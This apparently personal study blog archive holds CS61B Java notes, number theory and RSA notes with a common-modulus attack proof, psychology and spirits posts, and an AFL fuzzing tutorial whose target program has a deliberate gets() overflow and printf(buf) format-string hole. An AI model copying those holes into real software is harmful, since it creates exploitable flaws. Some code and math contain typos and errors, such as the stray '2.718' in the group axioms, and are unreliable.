            throw new IllegalStateException("Cannot get last element of an empty list");
        }
        return sentinel.prev.item;
    }
    
	public int size() { return size; }
}

Lecture8-10

date: 2025-9-26 9:40:27

接口继承和实现继承

Java 中, 继承分为接口继承 implements 和实现继承 entends.

前者提供一个接口 interface , 包含所有子类应实现的功能, 但没有具体实现, 子类用 implements 关键字声明.

public interface List61B<Item> {
    public void addFirst(Item x);
    public void add Last(Item y);
    public Item getFirst();
    public Item getLast();
    public Item removeLast();
    public Item get(int i);
    public void insert(Item x, int position);
    public int size();
}

public class AList<Item> implements List61B<Item> {
    @Override
    public void addFirst(Item x) { ... }
    
    ...
}

后者的使用情景为子类需要重写父类的某些方法, 对于这些方法, 加入 default 关键字声明, 子类用 extends 关键字声明.

default public void print() { // 需要重写的方法
    for (int i = 0; i < size(); ++i) {
        System.out.print(get(i) + " ");
    }
    System.out.println();
}

@Override
public void print() {
    for (Node p = sentinel.next; p != null; p = p.next) {
        System.out.print(p.item + " ");
    }
}

使用 extends 关键字, 子类继承父类构造和析构函数外的所有成员(虽然不继承, 但在子类对象构造时也会被显示/隐式调用), 并且 private variables 不能被子类直接访问.

静态类型和动态类型

省流: 编译检查看静态类型, 为了通过编译检查会用到强制类型转换; 虚表查找(…就是那个意思)看动态类型

高阶函数和子类多态性

Java 中高阶函数的实现.

public interface IntUnaryFunction {
    int apply(int x);
}

public TenX implements IntUnaryFunction {
    /* Returns ten times the argument. */
    @Override
    public int apply(int x) {
        return 10 * x;
    }
}

public static int do_twice(IntUnaryFunction f, int x) {
    return f.apply(f.apply(x));
}

比较器

public class Dog implements Comparable<Dog> {
    ...
    public int compareTo(Dog uddaDog) {
        return this.size - uddaDog.size;
    }
}

上述代码通过 Comparable 实现了运算符重载.

需要实现多种不同的比大小方法时, 用到另一个类 Comparator

import java.util.Comparator;

public class Dog implements Comparable<Dog> {
    ...
    public int compareTo(Dog uddaDog) {
        return this.size - uddaDog.size;
    }
    
    private static class NameComparator implements Comparator<Dog> {
        public int compare(Dog a, Dog b) {
            return a.name.compareTo(b.name);
        }
    }
    
    public static Comparator<Dog> getNameComparator() {
        return new NameComparator();
    }
}

Eceptions and Literators

date: 2025-9-26 11:07:16

本节实现数据结构 ArraySet

Exceptions

throw new ExceptionObject(parameter1, ...)

/* Associates pthe specified value with the specified key in this map.
   Throws an IllegalArgumentException if the key is null. */
public void add(T x) {
    if (x == null) {
        throw new IllegalArgumentException("can't add null");
    }
    if (contains(x)) {
        return;
    }
    items[size] = x;
    size += 1;
}

Iterators and Iterables

public interface Iterable<T> {
    Iterator<T> iterator();
}

public interface Iterator<T> {
    boolean hasNext();
    T next();
}

import java.util.Iterator:

public class ArraySet<T> implements Iterable<T> {
    private T[] items;
    private int size; // the next item to be added will be at position `size`
    
    public ArraySet() {
        items = (T[]) new Object[100];
        size = 0;
    }
    
    /* Returns true if this map contains a mapping for specified key. */
    public boolean contains(T x) {
        for (int i = 0; i < size; ++i) {
            if (items[i].equals(x)) {
                return true;
            }
        }
        return false;
    }
    
    /* Associates the specified value with the specified key in this map.
       Throws an IllegalArgumentException if the key is null. */
    public void add(T x) {
        if (x == null) {
            throw new IllegalArgumentException("can't add null");
        }
        if (contains(x)) {
            return;
        }
        items[size] = x;
        size += 1;
    }
    
    /* Returns the number of key-value mappings in this map */
    public int size() {
        return size;
    }
    
    /* Returns an iterator into ME */
    public Iterator<T> iterator() {
        return new ArraySetIterator();
    }
    
    private class ArraySetIterator implements Iterator<T> {
        private int wizPos;
        
        public ArraySetIterator() {
            wizPos = 0;
        }
        
        public boolean hasNext() {
            return wizPos < size;
        }
        
        public T next() {
            T returnItem = items[wizPos];
            wizPos += 1;
            return returnItem;
        }
    }
    
    public static void main(String[] args) {
        ArraySet<Integer> aset = new ArraySet<>();
        aset.add(5);
        aset.add(23);
        aset.add(42);

        // iteration
        for (int i : aset) {
            System.out.println(i);
        }
}
    }

JUnit Check

date: 2025-9-26 14:17:05

public class MaxArrayDequeTest {
    @Test
    /** Adds a few things to the list, checking isEmpty() and size() are correct,
     * finally printing the results.
     *
     */
    public void addIsEmptySizeTest() {
        Comparator<String> c = new Comparator<String>() {
            @Override
            public int compare(String o1, String o2) {
                return o1.compareTo(o2);
            }
        };
       MaxArrayDeque<String> mad1 = new MaxArrayDeque<>(c);

       assertTrue("A newly initialized MADeque should be empty", mad1.isEmpty());
       mad1.addFirst("front");

       assertEquals(1, mad1.size());
       assertFalse("mad1 should now contain 1 item", mad1.isEmpty());

       mad1.addLast("middle");
       assertEquals(2, mad1.size());

       mad1.addLast("back");
       assertEquals(3, mad1.size());

       System.out.println("Printing out deque: ");
       mad1.printDeque();
    }

    @Test
    public void addRemoveTest() {
        Comparator<Integer> c = new Comparator<Integer>() {
            @Override
            public int compare(Integer o1, Integer o2) {
                return o1.compareTo(o2);
            }
        };
        MaxArrayDeque<Integer> mad1 = new MaxArrayDeque<>(c);
        assertTrue("mad1 should be empty upon initialization", mad1.isEmpty());

        mad1.addFirst(1);
        assertFalse("mad1 should contain 1 item", mad1.isEmpty());

        mad1.removeFirst();
        assertTrue("mad1 should be empty after removal", mad1.isEmpty());
    }

    @Test
    public void removeEmptyTest() {
        Comparator<Integer> c = new Comparator<Integer>() {
            @Override
            public int compare(Integer o1, Integer o2) {
                return o1.compareTo(o2);
            }
        };
        MaxArrayDeque<Integer> mad1 = new MaxArrayDeque<>(c);
        mad1.addFirst(1);

        mad1.removeLast();
        mad1.removeFirst();
        mad1.removeLast();
        mad1.removeFirst();

        int size = mad1.size();
        String errorMsg = "  Bad size returned when removing from empty deque.\n";
        errorMsg += "  student size() returned " + size + "\n";
        errorMsg += "  actual size() returned 0\n";

        assertEquals(errorMsg, 0, size);
    }

    @Test
    public void multipleParamTest() {
        MaxArrayDeque<String>  mad1 = new MaxArrayDeque<String>();
        MaxArrayDeque<Double>  mad2 = new MaxArrayDeque<Double>();
        MaxArrayDeque<Boolean> mad3 = new MaxArrayDeque<Boolean>();

        mad1.addFirst("string");
        mad2.addFirst(3.14159);
        mad3.addFirst(true);

        String s = mad1.removeFirst();
        double d = mad2.removeFirst();
        boolean b = mad3.removeFirst();
    }

    @Test
    public void bigMADequeTest() {
        MaxArrayDeque<Integer> mad1 = new MaxArrayDeque<>();
        for (int i = 0; i < 1000000; i++) {
            mad1.addLast(i);
        }

        for (double i = 0; i < 500000; i++) {
            assertEquals("Should have the same value", i, (double) mad1.removeFirst(), 0.0);
        }

        for (double i = 999999; i > 500000; i--) {
            assertEquals("Should have the same value", i, (double) mad1.removeLast(), 0.0);
        }
    }

    @Test
    public void maxTest() {
        Comparator<Integer> c = new  Comparator<Integer>() {
            @Override
            public int compare(Integer o1, Integer o2) {
                return o1.compareTo(o2);
            }
        };
        MaxArrayDeque<Integer> mad1 =  new MaxArrayDeque<>(c);

        mad1.addFirst(1);
        mad1.addLast(29);
        mad1.addLast(18);
        mad1.addLast(2912);
        mad1.addLast(292);
        mad1.addFirst(2912);

        assertEquals((Integer) 2912, mad1.max());
    }

}

toString and equals

date: 2025-10-3 15:06:53

toString

@Override
publiic String toString() {
    String returnString = new String();
    for (int i = 0; i < size - 1; ++i) {
        returnString += items[i.toString();
        returnString += ", ";
    }
    returnString += items[size - 1].toString;
    returnString += ", ";
	return returnString;
}

利用迭代拼接字符串 String 效率特别低(每次迭代会复制一个字符串), 复杂度为 O(n²), 故改用 StringBuilder

@Override
public String toString() {
    StringBuilder returnSB = new StringBuilder("{");
    for (int i = 0; i < size - 1; ++i) {
        returnSB.append(items[i].toString());
        returnSB.append(", ");
    }
    returnSB.append(items[size - 1]);
    returnSB.append("}");
    return returnSB.toString();
}

Shorter toString:

@Override
public String toString() {
    List<String> listOfItems = new ArrayList<>();
    for (T x : this) {
        listOfItems.add(x.toString());
    }
    return "{" + String.join(", ", listOfItems) + "}";
}

这样的实现更简洁, 但还是效率低下, 如果不需要频繁调用 toString, 这样写更好看.

equals

@Override
public boolean equals(Object o) { // the parameter must be Object, not ArraySet or something, because this is a overriding method
    if (o instanceof Dog uddaDog) {
        return this.size == uddaDog.size;
    }
    return false;
}

instanceof:

checks to see if o’s dynamic type is Dog
implicitly casts o as a Dog into a variable called uddaDog

@Override
public boolean equals(Object o) {
    if (this == o) {
        return true; 
    } 
    if (o instanceof ArraySet oas) {
        if (this.size != oas.size) {
            return false;
        }
        for (T x : this) {
            if (!oas.contains(x)) {
                return false;
            }
        }
        return true;
    }
    return false;
}

.of

var arg (variable number of arguments)

new pattern of generic (of is a static method which can not access generic param T)

public static <Glerp> ArraySet<Glerp> of(Glerp... stuff) { // Glerp has nothing to do with T, it's just the declaration that this is a method which is generic
    ArraySet<Glerp> returnSet = new ArraySet<Glerp>();
    for (Glerp x : stuff) {
        returnSet.add(x);
    }
    return returnSet;
}

腰斩了，对不起我曾经成为算法高手的理想

Spirits

2025-10-17T05:13:00.000Z

Spirits，即蒸馏酒。

六大基酒（Six Base Spirits）

威士忌（Whisky）
伏特加（Vodka）
金酒（Gin）
朗姆酒（Rum）
龙舌兰（Tequila）
白兰地（Brandy）

威士忌

1. 起源与精神

威士忌的起源可追溯至中世纪的 爱尔兰 或 苏格兰。最早被称为“生命之水”（Uisge Beatha）。

随着时间推移，它从修道院药剂演化为现代意义上的蒸馏酒。如今，它象征着 成熟、独立与时间的力量。

2. 制作流程与风味

威士忌以 谷物（麦芽、大麦、玉米、黑麦等） 为原料，经过发酵、蒸馏后，在橡木桶中陈年。熟成时间越长，酒体越柔和、层次越复杂。

信息安全数学基础

2025-10-05T02:49:41.000Z

对课本进行的一个摘抄，并没有学习价值。

To be done…

初等数论

整除

定理 1.2.3 设 a, b 是两个不全为 0 的整数，则 gcd(a, b) = 1 当且仅当存在整数 u, v 使得

ua + vb = 1

证明：

暂时仅证明特例：若 gcd(p, q) = 1，存在整数 $s, t \in \mathbb{Z}$ 使得 sp + tq = 1.

设 m = ps + qt 为集合 $A = \\{ps + qt | s, t \in \mathbb{Z}$ 中的最小正整数。那么只需证明 $m \mid p, m \mid q$ ，就有 m = 1（因为 p, q 互素）。下证：

假设 $m \nmid p, m \nmid q$ ，那么有 $p = km + r$ ，即 $r = p - km = p - k(ps + qt) = p \cdot (1 - ks) + q \cdot kt$

由于 $0 < r < m$ 且 r 也能表示为 ps + qt，与 m 是集合 A 中的最小正整数矛盾，证毕。

扩展欧几里得算法求乘法逆元

@source https://www.bilibili.com/video/BV1234y1m7Xs/?vd_source=9c3d54ea9a8203ff582b3f8de20f3bb0

有同余方程 $ax \equiv 1 \pmod p$ , 其中 a, p 互素，求 x.

例1 a = 5, p = 14

对二者用欧几里得算法求出最大公因数：

14 = 5 \times 2 + 4 \\\\ 5 = 4 \times 1 + 1 \\\\ 4 = 1 \times 4

有 $\gcd(a, p) = 1$ .

对 1 用欧几里得算法的逆过程展开：

1 = 5 - 4 \\\\ = 5 - (14 - 5 \times 2) \\\\ = 5 \times 3 - 14 \times 1

那么 x 即为 3.

例2 a = 5, p = 18

18 = 5 \times 3 + 3 \\\\ 5 = 3 \times 1 + 2 \\\\ 3 = 2 \times 1 + 1 \\\\ 2 = 1 \times 2

$gcd(a, p) = 1$

1 = 3 - 2 \\\\ = 3 - (5 - 3) \\\\ = 18 - 5 \times 3 - [5 - (18 - 5 \times 3)] \\\\ = 18 - 5 \times 3 - (5 - 18 + 5 \times 3) \\\\ = 18 - 5 \times 3 - 5 + 18 - 5 \times 3 \\\\ = 18 \times 2 - 5 \times 7

因为 $-7 \equiv 11 \pmod {18}$ , x = 11.

有趣的：

迁移注记原文图片未随仓库迁入：image-20251016090419362image-20251016090419362.png

定理 1.3.2 （算术基本定理） 任意不为 1 的非零正整数 n 均可唯一地表示为如下递推公式：

n = p_1^{\alpha_1}p_2^{\alpha_2}...p_k^{\alpha_k}

其中， $p_1 < P_2 < ... < p_k, \alpha_1, \alpha_2, ..., \alpha_k$ 是正整数。上式称为 n 的标准分解式。

证明：（存在性）若 n 是素数，定理显然成立。

若 n 不是素数，设 $p_1$ 是 n 的最小非平凡正因数，则 $p_1$ 是素数，因为 $p_1$ 的非平凡正因数也是 $n$ 的非平凡正因数，所以 $p_1$ 没有非平凡正因数。设 $n = p_{1}n_{1} (1 < n_1 < n)$ . 对 $n_1$ 重复上述推理，可得 $n = p_1 n_1 = p_1 p_2 n_2$ . 以此类推，得 $n > n_1 > n_2 > ... > 1$ ，其步骤不超过 n，最后必有 $n = p_1 p_2 ... p_l$ . 将该式中相同素数合并为素数的方幂，并按定理要求排列，就得到了分解的存在性。

（唯一性）设 n 可分解为 $n = p_1^{\alpha_1}...p_k^{\alpha_k} = q_1^{\beta_1}...q_l^{\beta_l}$ ，其中 $p_1 < p_2 < ... < p_k, q_1 < q_2 < ... < q_l$ 都是素数。

根据定理1.3.1，存在某个 $q_i$ ，满足 $p_1 \mid q_i$ ，不妨设为 $q_1$ ，因为 $p_1, q_1$ 均为素数，所以 $p_1 = q_1$ 。类似地，可依次得到

p_i = q_i, 2 \leq i \leq k

因此有 $k = l$ . 又若 $\alpha_1 > \beta_1$ ，则

p_1^{\alpha_1 - \beta_1} p_2^{\alpha_2} ... p_k^{\alpha_k} = p_2^{\beta_2}...p_k^{\beta_k}

上式左边被 $p_1$ 整除，右边不能被 $p_1$ 整除，矛盾，所以 $\alpha_1 > \beta_1$ 不成立。同理 $\alpha_1 > \beta_1$ 不成立。因此 $\alpha_1 = \beta_1$ 。以此类推，定理得证。

同余

同余类与剩余系

与 m 互素的剩余类的个数为欧拉函数, 记为 $\phi(m)$ . $\phi(m)$ 等于 $Z_m$ (最小非负完全剩余系) 当中与 m 互素的数的个数. 对于任意一个素数 p, $\phi(p) = p - 1$ .

在与 m 互素的 $\phi(m)$ 个模 m 的剩余类中各取一个代表元 $a_1, a_2, ..., a_\phi(m)$ , 它们组合成的集合称为模 m 的一个 既约剩余系或简化剩余系. $Z_m$ 中与 m 互素的数构成模 m 的一个既约剩余系, 称为最小非负既约剩余系.

定理 2.2.4 设 m 是正整数. 整数 a 满足 gcd(a, m) = 1. 若 x 遍历模 m 的一个既约剩余系, 则 ax 也遍历模 m 的一个既约剩余系

定理 2.2.5 设 $m_1, m_2$ 是两个互素的正整数. 如果 x 遍历模 $m1$ 的一个既约剩余系, y 遍历模 $m_2$ 的一个既约剩余系, 则 $m_1 y + m_2 x$ 遍历模 $m_1 m_2$ 的一个既约剩余系.

推论 2.2.1 设 m, n 是两个互素的整数，则 $\phi(mn) = \phi(m)\phi(n)$ .

定理 2.2.6 (求 $\phi (n)$ ) 若 $m = p_{1}^{e_1}p_{2}^{e_2}...p_k^{e_k}$ （质因数分解），则

\phi(m) = m \prod_{i=1}^{k}(1 - \frac{1}{p_i})

证明: 当 $m = p^e$ 为单个素数当方幂时，在模 m 的完全剩余系 $\{0, 1, 2, ..., p^{e} - 1\}$ 的 $p^e$ 个整数中，与 p 不互素的只有 p 的倍数，共 $p^{e-1}$ 个，因此与 p 互素的数共有 $p^e - p^{e-1}$ 个，即

\phi(p^{e}) = p^e - p^{e-1} = p^e(1 - \frac{1}{p})

再根据推论 2.2.1，可以证明出结论。

定理 2.2.8(欧拉定理) 设 m 是正整数, $r \in \mathbb{Z_m}$ , 若 $\gcd(r, m) = 1$ , 则

r^{\phi(m)} \equiv 1 \pmod m

重复平方乘算法：

计算 $b^N \mod m$

先考虑欧拉定理，若不行再进行重复平方乘算法：

将 N 转换为二进制数
从 N 的最低位开始，将结果（result）初始化为1
如果当前位为1，则 result = result * b (mod m)
b = b * b (mod m), 左移到下一个二进制位
重复 3, 4

一次同余方程

二元一次不定式

$ax + by = c$

判断有无解： $\gcd(a, b) \mid c \implies$ 有解
化简： $ax + by = c \implies \frac{a}{(a, b)}x + \frac{b}{(a, b)}y = \frac{c}{(a, b)}$ ，记为 $a_1 x + b_1 y = c_1$
找特解：令 $ax + by = 1$ 求出 $\begin{equation} \\{ \begin{aligned} x_1 = m \\\\ y_1 = n \end{aligned} \end{equation}$ （观察/辗转相除法）

那么对于 $ax + by = c$ 就有特解 $\begin{equation} \\{ \begin{aligned} x_0 = mc \\\\ y_0 = nc \end{aligned} \end{equation}$
交叉写出特解 $\begin{equation} \\{ \begin{aligned} x = mc + bt \\\\ y = nc - at \end{aligned} \end{equation}$

$9x + 21y = 144$

$144 | (9, 21)$ ，有解
$3x + 7y = 48$
令 $3x + 7y = 1 \implies \begin{equation} \\{\begin{aligned} x_1 = -2 \\\\ y_1 = 1 \end{aligned} \end{equation} （观察得到）$

可以得到 $3x + 7y = 48$ 的特解： $\begin{equation} \\{\begin{aligned} x_0 = -96 \\\\ y_0 = 48 \end{aligned} \end{equation}$
1. 通解 $\begin{equation} \\{ \begin{aligned} x = -96 + 7t \\\\ y = 48 - 3t \end{aligned} \end{equation}$

$ax \equiv b \pmod m \implies ax - my = b$

定理 2.3.1 一次同余方程 $ax \equiv b \pmod m$ 有解的充要条件是 $\gcd(a, m) \mid b$ ，而且当其有解时，其解数为 $\gcd(a, m)$ 。

证明：（必要性）令 $\gcd(a, m) = d$ 。设 $x_0$ 是同余方程 $ax \equiv b \pmod {m}$ 的解，则存在整数 $k$ ，使得 $ax_0 = km + b$ 即 $b = ax_0 - km$ 。

由 $d \mid a, d\mid m$ ，可得 $d \mid b$ 。

（充分性）设 $a' = \frac{a}{(a, m)}, m' = \frac{m}{(a, m)}, b' = \frac{b}{(a, m)}$ 。首先考虑同余方程

a'x \equiv 1 \pmod {m'} （12）

因为 $\gcd(a', m') = 1$ ，可知 $a'$ 存在模 $m'$ 的唯一逆元，设为 $x_0$ 。即 $x_0$ 是同余方程 (37) 的唯一解 $x \equiv x_0 \pmod {m'}$ ，满足 $a'x_0 \equiv 1 \pmod {m'}$ 。因此，同余方程

a'x \equiv b' \pmod {m'}

也存在唯一解 $x \equiv x_0 b' \pmod {m'}$ 。

不妨设 $a'x_0 b' = k_1 m' + b'$ ，因为 $a x_0 b' - b = d a' x_0 b' - b = d (k_1 m' + b') - b = d k_1 m' + d b' - b = k_1 m$ ，所以 $m \mid a(x_0 b') - b$ ，即 $a (x_0 b') \equiv b \pmod m$ 。因此 $x \equiv x_0 b' \pmod m$ 是同余方程 $ax \equiv b \pmod m$ 的一个特解。充分性得证。

下面考虑同余方程 $ax \equiv b \pmod m$ 的解的个数。由 $x \equiv x_0 b' \pmod m$ ，可得

x \equiv x_0 b' + k m' \pmod {m'}, k = 0, \pm 1, \pm 2, ...

。。。

例 2.3.1 求同余方程 $9x \equiv 12 \pmod {15}$ 的解。

解： $\gcd(9, 15) = 3, 3 \mid 12$ ，因此该方程有解。计算

a' = \frac{9}{3} = 3, m' = \frac{15}{3} = 5, b' = \frac{12}{3} = 4

考虑同余方程 $3x \equiv 1 \pmod 5$ 的解。易得解为 $x_0 = 2$ 。

通过定理 2.3.1 的证明过程可知

x \equiv 2 \times 4 + k \times 5 \pmod {15}, k = 0, 1, ..., gcd(9, 15) - 1

是同余方程 $9x \equiv 12 \pmod {15}$ 的全部解，即 8，13，3。

中国剩余定理

对于同余方程组

\left\\{ \begin{array}{lc} k \equiv a \pmod 3 \\\\ k \equiv b \pmod 5 \\\\ k \equiv c \pmod 7 \\\\ \end{array} \right.

若能求出

\left\\{ \begin{array}{lc} x \equiv 1 \pmod 3 \\\\ x \equiv 0 \pmod 5 \\\\ x \equiv 0 \pmod 7 \end{array} \right.

\left\\{ \begin{array}{lc} y \equiv 0 \pmod 3 \\\\ y \equiv 1 \pmod 5 \\\\ y \equiv 0 \pmod 7 \end{array} \right.

\left\\{ \begin{array}{lc} z \equiv 0 \pmod 3 \\\\ z \equiv 0 \pmod 5 \\\\ z \equiv 1 \pmod 7 \end{array} \right.

的解 x, y, z，那么会有 $k = ax + by + cz \pmod {105}$ .

对于 x ，不难发现 $x \mid 5, x \mid 7, x \equiv 1 \pmod 3$ ，因此可以令 $x = 35t$ ，则有 $35t - 3s = 1$

根据 定理 1.2.3 可知，整数 t, s 必定存在。

那么不难解出

\left\\{ \begin{array}{cl} x = 70 \\\\ y = 21 \\\\ z = 15 \end{array} \right.

则 $k = 70a + 21b + 15c \pmod {105}$ .

一般地，给定 n 个互素的整数 $p_1, p_2, ..., p_n$ ，对于同余方程组

\left\\{ \begin{array}{cl} k \equiv a_1 \pmod {p_1} \\\\ k \equiv a_2 \pmod {p_2} \\\\ ... k \equiv a_n \pmod {p_n} \end{array} \right.

有解 $k = a_1 x_1 + a_2 x_2 + ... + a_n x_n \pmod {p_1 p_2 ... p_n}$ ，其中

\left\\{ \begin{array}{cl} x_1 \equiv 1 \pmod {p_1} \\\\ x_1 \equiv 0 \pmod {p_2} \\\\ ... x_1 \equiv 0 \pmod {p_n} \end{array} \right.

\left\\{ \begin{array}{cl} x_2 \equiv 0 \pmod {p_1} \\\\ x_2 \equiv 1 \pmod {p_2} \\\\ ... x_2 \equiv 0 \pmod {p_n} \end{array} \right.

...

\left\\{ \begin{array}{cl} x_n \equiv 0 \pmod {p_1} \\\\ x_n \equiv 0 \pmod {p_2} \\\\ ... x_n \equiv 1 \pmod {p_n} \end{array} \right.

RSA

密钥生成:

选择两个大素数 p, q.
计算 $n = pq, z = \phi(n) = (p - 1)(q - 1)$ .
随机选取 e(e < n), 使得 $\gcd(e, z) = 1$ .
选取 d 使得 $z|(ed - 1)$ , 即 $ed \mod z = 1$ , 即 $ed \equiv 1 \pmod {z}$ . e, d 互为乘法逆元.
公钥为 (n, e). 私钥为 (n, d).

加密: $c = m^e \mod n$

解密: $m = c^d \mod n$

共模攻击

用两个及以上的公钥来加密同一条明文 m.

已知:

$c_1 = pow(m, e_1, n)$
$c_2 = pow(m, e_2, n)$
$\gcd(e_1, e_2) = 1$
存在整数 $s_1, s_2$ , 使得 $gcd(e_1, e_2) = e_1 s_1 + e_2 s_2$

求证: $(c_1^{s_1} \times c_2^{s_2}) \mod n = m$

证明：易知，有 $e_1 s_1 + e_2 s_2 = 1$ ，则

$m \equiv m^{e_1 s_1 + e_2 s_2} \pmod{n}$

即

$(m^{e_1})^{s_1} \cdot (m^{e_2})^{s_2} \equiv m \pmod{n}$

由 $c_1 = m^{e_1} \mod n$ ，显然有 $c_1 \equiv m^{e_1} \pmod{n}$ 。

那么

$c_1^{s_1} \equiv (m^{e_1})^{s_1} \pmod{n}$

同理，有 $c_2^{s_2} \equiv (m^{e_2})^{s_2} \pmod{n}$ 。

则

$c_1^{s_1} \cdot c_2^{s_2} \equiv m^{e_1 s_1 + e_2 s_2} \equiv m \pmod{n}$

又 $m < n$ ，有 $m \mod n = m$ ，则 $c_1^{s_1} \cdot c_2^{s_2} \mod n = m$

证毕！

那么只要求出 $s_1, s_2$ ，就能还原明文。

群论

设G 是一个具有代数运算 $\circ$ 的非空集合，并且满足：

结合律： $\forall a,b,c \in G$ ，有
$(a \circ b) \circ c = a \circ (b \circ c)$
有单位元：G 中存在一个元素 e ： $\forall a \in G$ ，有
$e \circ a = a \circ e =2.718 a$
有逆元：对于任意 $a \in G$ ，存在一个元素 $a^{-1} \in G$ ，使得
$a \circ a^{-1} = a^{-1} \circ a = e$

则称 G 关于代数运算 $\circ$ 的构成一个群。

模正整数 n 的最小非负完全剩余系，对于模 n 的加法构成一个群，这个群称为 整数模 n 加群，起单位元为 0，a 的逆元是 n - a。

元素在数域 P 中的全体 n 级可逆矩阵对于矩阵的乘法构成一个群，这个群记为 $GL_n(P)$ ，称为 n。级一般线性群。

Psychology Master

2025-10-05T01:51:20.000Z

马太效应(the Matthew Effect)

资源分配与心理预期相互强化，塑造出富者愈富，贫者愈贫的循环模式。

亲密关系中，那些擅长表达情感的人往往能获得更多情感反馈，进而形成更成熟的情感处理能力，相反，内向者可能因偶尔的沟通失误被贴上冷漠的标签。

要打破马太效应的消极循环，需要建立反脆弱的心里策略，主动创造小心成功体验来积累心理资本，比如记录微小成就；在社交中采用“五分钟法则”，强迫自己在新环境中至少与人交流五分钟。学会识别并挑战那些自动产生的消极预期，用具体行动证明自我涉嫌的虚假性。

tags: 自我实现预言

韦伯效应(the Weber Effect)

人们对外界变化的敏感度与原始刺激的强度成正比。

长期被忽视的伴侣可能因为一句突如其来的问候而感动落泪，而终日被甜蜜包围的人却需要更浓烈的情感表达才能产生同等程度的愉悦。

韦伯效应解释了人类认知的底层逻辑，它提醒我们：真正的洞察力不在于捕捉绝对数值的变化，而在于理解参照系的力量。

墨菲定律

焦虑情绪对行为模式的重塑。

人们倾向于收集作证自身恐惧的信息。当注意力持续聚焦于可能发生的负面事件时，我们的认知资源会不自觉地被重新分配，行为模式也随之发生微妙偏移，最终在现实世界编织出与恐惧相呼应的证据链。

打破这个循环的关键在于学会与不确定性共处。

习得性无助

当个体反复经历无法控制的负面事件后，即使转机出现，也会主动放弃抵抗。

Fuzz

2025-10-03T07:14:44.000Z

To be done… @source https://lidaxian121.github.io/posts/fuzz/

Example

// gcc test.c -o test
#include <unistd.h>

int main() {
    char input[8] = {0};
    read(STDIN_FILENO, input, 8);
    if (input[0] == 'A' && input[1] == 'B') {
        *((unsigned int *)0) = 0xdeadbeef; // crash
    }
    write(STDOUT_FILENO, input, 8);
    return 0;
}

# fuzzer.py
import subprocess

target = './test'
inps = ['AA', 'BB', 'BA', 'AB']

for inp in inps:
    try:
        subprocess.run([target], input=inp.encode(), capture_output=True, check=True)
    except subprocess.CalledProcessError:
        print(f"bug found with input: {inp}")
        
>>> bug found with input: 'AB'

fuzzing process

迁移注记原文图片未随仓库迁入：img2-2.png

// gcc test.c -o test
#include <unistd.h>
#include <stdio.h>

int main() {
    char input[8] = {0};
    read(STDIN_FILENO, input, 8);
    
    if (input[0] == 'A') {
        puts("AAA");
        if (input[1] == 'B') {
            puts("BBB");
            if (input[2] == 'C') {
                *((unsigned int*)0) = 0xdeadbeef; // crash
            }
        }
    }
    return 0;
}

# fuzzer.py
# python3 fuzzer.py >> output.txt
import subprocess
import random

target = './test'
inps = ['A', 'B'] # corpus
count = 1

while True:
    inp = inps[0] # select a seed from corpus
    inp += random.choice(['A', 'B', 'C']) # mutate
    del inps[0]
    count += 1

    try:
        comp = subprocess.run([target], input=inp.encode(), capture_output=True, check=True)
        if comp.stdout != b'': # has some output
            inps.append(inp) # add to corpus
        print(f"inp: {inp}, inps: {inps}", end='\n', flush=True)
    except subprocess.CalledProcessError:
        print(f"inp: {inp}, inps: {inps}", end='\n', flush=True)
        print(f"bug found with input: '{inp}'")
        break

    if count % 100 == 0 or len(inps) == 0: # periodically reset corpus
        inps = ['A', 'B']

inp: AB, inps: ['B', 'AB']
inp: BC, inps: ['AB']
inp: ABC, inps: []
bug found with input: 'ABC'

The output can be very long (a thousand lines) or very short (3 lines). WOW

The quality of a fuzzer depends on:

Selection of seeds: the quality of corpus
Mutation: the efficiency of random variation
Coverage: the overhead of the implementation method

AFL (American Fuzz Loop)

Two fuzz approaches of AFL

For open-source software, instrument it directly during compilation
For close-source software, use QEMU to fuzz the byte code

Instrumentation (插桩)

While ensuring the logical integrity of the program, make the program output some logs to collect the status during runtime

int test_var = 0;

// original
void b() { ...; }
void a() { ...; }

// instrumented
void b() { printf("test_var: %d\n", test_var); ...; }
void a() { printf("test_var: %d\n", test_var); ...; }

example

int had_exec[100] = {0};

void a() {
  had_exec[0] = 1;
  // ...
}

void b() {
  had_exec[1] = 1;
  // ...
}

void c() {
  had_exec[2] = 1;
  // ...
}

int main() {
  // ...
  if (had_exec[0]) {
    puts("function `a` had been called");
  }
}

demo

迁移注记原文图片未随仓库迁入：image-20251004171318202image-20251004171318202.png

In addition to the target program, you also need to prepare the copus folder fuzz_in and the folder fuzz_out for storing the fuzz results. Put some random text in the former, and leave the latter empty.

// afl-gcc -g -o ./afl-test/afl-test ./afl-test/testcase.c
#include <stdio.h> 
 #include <stdlib.h>
 #include <unistd.h>
 #include <string.h> 
 #include <signal.h>
 int vuln(char *str) {
	int len = strlen(str);
   // crash case 1
    if(str[0] == 'A' && len == 66) {
        raise(SIGSEGV);
    }
   // crash case 2
    else if(str[0] == 'F' && len == 6) {
        raise(SIGSEGV);
    } else {
        printf("it is good!\n");
    }
    return 0;
}

int main(int argc, char *argv[]) {
    char buf[100]={0};
  // crash case 3
    gets(buf); // stack overflow vulnerability
  // crash case 4
    printf(buf); // format string vulnerability
    vuln(buf);
    return 0;
}

Use command afl-fuzz -i fuzz_in -o fuzz_out ./afl-test/afl-test to fuzz。

迁移注记原文图片未随仓库迁入：image-20251004171859706image-20251004171859706.png

太黑客了。

Check the seed that caused the program to crash under fuzz_out/default/crashes

crash case 2

迁移注记原文图片未随仓库迁入：image-20251004173249791image-20251004173249791.png

crash case 3

迁移注记原文图片未随仓库迁入：image-20251004173302271image-20251004173302271.png

crash case 3

迁移注记原文图片未随仓库迁入：image-20251004172127854image-20251004172127854.png

crash case 1

迁移注记原文图片未随仓库迁入：image-20251004173331488image-20251004173331488.png

cool

Trampolining

2025-09-26T09:53:23.000Z

Trampolining is a technique that decorates recursion as iteration. For a language like Python that does not optimize tail calls, strict tail recursion can be achieved by combining Trampolining with tail calls.

The basic unit of this method is a thunk, which represents an unevaluated operation. The simplest way to create a thunk and simulate an unevaluated operation is to wrap the operation in a parameterless function and save it for later evaluation.

Thunk “unpacks” through invocation.

>>> my_thunk1 = lambda: sqrt(16384) + 22
>>> my_thunk1()

It can also be nested, which requires multiple unpackages.

>>> my_nested_thunk = lambda: lambda: lambda: 4 * (2 + 3)
>>> thunk2 = my_nested_thunk()
>>> thunk3 = thunk2()
>>> result = thunk3()
>>> result
20

The unpacking of a nested thunk can be accomplished by repeatedly calling it until a value is finally returned. This is the trampolining process.

def trampolining(value):
    while callable(value):
        value = value()
    return value

factorial:

def thunk_factorial(n, so_far=1):
    def thunk():
        if n == 0:
            return so_far
        return thunk_factorial(n - 1, so_far * n)
